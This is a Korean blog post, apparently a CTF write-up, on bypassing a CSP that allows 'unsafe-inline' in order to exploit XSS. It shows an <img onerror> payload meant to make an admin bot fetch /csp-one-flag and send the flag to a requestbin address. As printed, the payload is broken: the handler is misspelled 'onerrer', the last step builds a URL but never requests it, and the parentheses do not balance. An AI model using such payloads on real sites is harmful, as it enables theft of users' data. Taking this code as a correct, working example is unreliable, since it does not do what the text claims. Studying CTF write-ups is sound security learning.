예전에 풀었던 문제인데
캡쳐를 제대로 해놓지 않아서 풀이가 조금 미흡하다.
반응형
문제 제목과 내용에서 알 수 있듯이
CSP 를 우회하여 XSS 를 해야하는 문제이다.
CSP 는 Contents Security Policy 의 약자로 XSS 취약점을 완화하기 위해 사용된다.
XSS 로 인해 임의의 스크립트가 실행되지 않도록 제약을 거는 것이다.
플래그 경로는 /csp-one-flag 라고 한다.
문제 페이지에 접속하면 이렇게 나온다.
Enter your payload 부분에 페이로드를 입력해
공격을 성공시키면 된다.
SUBMIT 을 누르면
페이로드가 admin 에게 전송되어 admin 이 읽게 된다.
F12를 눌러 개발자도구의 네트워크 탭으로
Response Header 를 확인해보니
CSP 가 위와 같이 설정되어 있다.
unsafe-inline 이 허용되는 정책이라
<img src=x onerror=alert(1)> 같은 페이로드가 먹히게 된다.
그럼 이제 alert(1) 부분을 적당한 자바스크립트로 바꿔주면 된다.
<img src=x onerrer='fetch("/csp-one-flag").then(x=>x.text()).then(t=>"requestbin 주소?x="+t))'/>
라고 페이로드를 입력해주면
페이로드를 전달받은 admin 이
/csp-one-flag 경로에 접속해 해당 페이지의 text() 를 가져온 다음
requestbin 으로 x 파라미터에 담아 전달하게 된다.
반응형
'CTF > 웹해킹' 카테고리의 다른 글
[Space Heroes CTF] attack-strategies - 웹해킹 / Burp Suite (74) | 2023.05.01 |
---|---|
[HackingCampCTF] World Wide Web - 웹해킹 / LFI (58) | 2023.04.28 |
[PCTF] Proxy It - 웹해킹 / Burp Suite / dirb (58) | 2023.04.22 |
[PINGCTF] easy1 - 웹해킹 / dirb / Verb tampering (67) | 2023.04.19 |
[Tenable CTF] Web 문제들(3/3) - 웹해킹 / Python (66) | 2023.04.06 |